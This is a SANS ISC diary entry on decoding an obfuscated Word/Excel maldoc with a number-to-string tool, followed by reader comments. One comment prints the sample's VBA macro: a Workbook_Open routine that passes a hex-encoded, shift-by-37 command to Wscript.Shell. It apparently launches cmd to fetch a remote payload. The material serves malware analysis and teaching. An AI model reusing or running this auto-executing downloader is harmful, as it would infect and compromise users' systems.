Small Challenge: A Simple Word Maldoc - Part 3

Published: 2020-08-16
Last Updated: 2020-08-16 09:21:32 UTC
by Didier Stevens (Version: 1)
4 comment(s)

In the solution I presented last weekend for "Small Challenge: A Simple Word Maldoc", I forgot to address one point when converting and decoding the numbers in the VBA code with my tool, you can see it here:

I did not explain where the string "Ono" came from.

And as I started to write a diary entry to explain this, I realized this would be much easier if my tool had a verbose mode. So I implemented a verbose option, and will use it now to explain the decoding.

With verbose mode (-v), the decoded strings are preceded by the line from where the numbers were extracted, and the numbers themselves.

And in this screenshot, we can see that "Ono" comes from another line than the "LG = h(..." line. It comes from a line that contains 3 numbers, from the "words" system32, 1.exe and 0: 32, 1, 0.

But we are not interested in decoding the numbers from this line, because these numbers do not represented a hidden command.

By default, looks for at least 3 numbers in a line. This can be changed with option -n. And that is what we will use to ignore this second line, by specifying that there must be at least 4 numbers:

I will show solutions with my tool xorsearch next week, leaving you time to post your decoding ideas for my tool xorsearch.

Didier Stevens
Senior handler
Microsoft MVP

Keywords: maldoc obfuscation
4 comment(s)


First trial, but ...

python3 /home/pi/Downloads/ -s a -v
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454928697889A9898948E915388949254778E985C927898907A6A5A5A73987B538A9D8A4C51498A939B5F798A9295504C816C97757176538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C816C97757176538A9D8A4C4E")
End Sub
Function hello(hlole As String)
Dim holle As Integer
Dim i As Integer
Dim holel
holle = 33
holel = ""
For i = 1 To Len(hlole) Step 2
holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 37)
hello = holel
End Function

python3 /home/pi/Downloads/ -s a -v | python "n - 37"
Traceback (most recent call last):
File "", line 447, in <module>
File "", line 440, in Main
NumbersToString(args[0], [''], options)
File "", line 396, in NumbersToString
NumbersToStringSingle(function, filenames, oOutput, options)
File "", line 370, in NumbersToStringSingle
result = ''.join(map(ChrFunction, [eval(function) for n in map(int, results)]))
File "", line 366, in <lambda>
ChrFunction = lambda c: Chr(c, options, translation)
File "", line 308, in Chr
return chr(number)
ValueError: chr() arg not in range(256)
That's normal. This is hexadecimal, not decimal.
You can try my tool base64dump (handles hex too).
Proposal: do an analysis for current Emotet, maformed-zip docx with VBA:

python3 Virus/docx/726338c1d3d4edcaded97f31f8d3690d75c182432a6da92888a6596c3be26968.docx -f l
p 0x00000000 data 0:108334l
0x0001a72e PK0304 fil b'[Content_Types].xml'
0x0001a85e PK0304 fil b'_rels/.rels'
0x0001a947 PK0304 fil b'theme/theme/themeManager.xml'
0x0001aa04 PK0304 fil b'theme/theme/theme1.xml'
0x0001b1cb PK0304 fil b'theme/theme/_rels/themeManager.xml.rels'
0x0001b2c6 PK0102 dir b'[Content_Types].xml'
0x0001b307 PK0102 dir b'_rels/.rels'
0x0001b340 PK0102 dir b'theme/theme/themeManager.xml'
0x0001b38a PK0102 dir b'theme/theme/theme1.xml'
0x0001b3ce PK0102 dir b'theme/theme/_rels/themeManager.xml.rels'
1 0x0001b423 PK0506 end
s 0x0001b439 data 111673:69648l
I took a look. It's not a malformed ZIP file. But an OLE file that contains a ZIP file. That's normal for Office documents. Will see if I can write a diary entry explaining this.

Diary Archives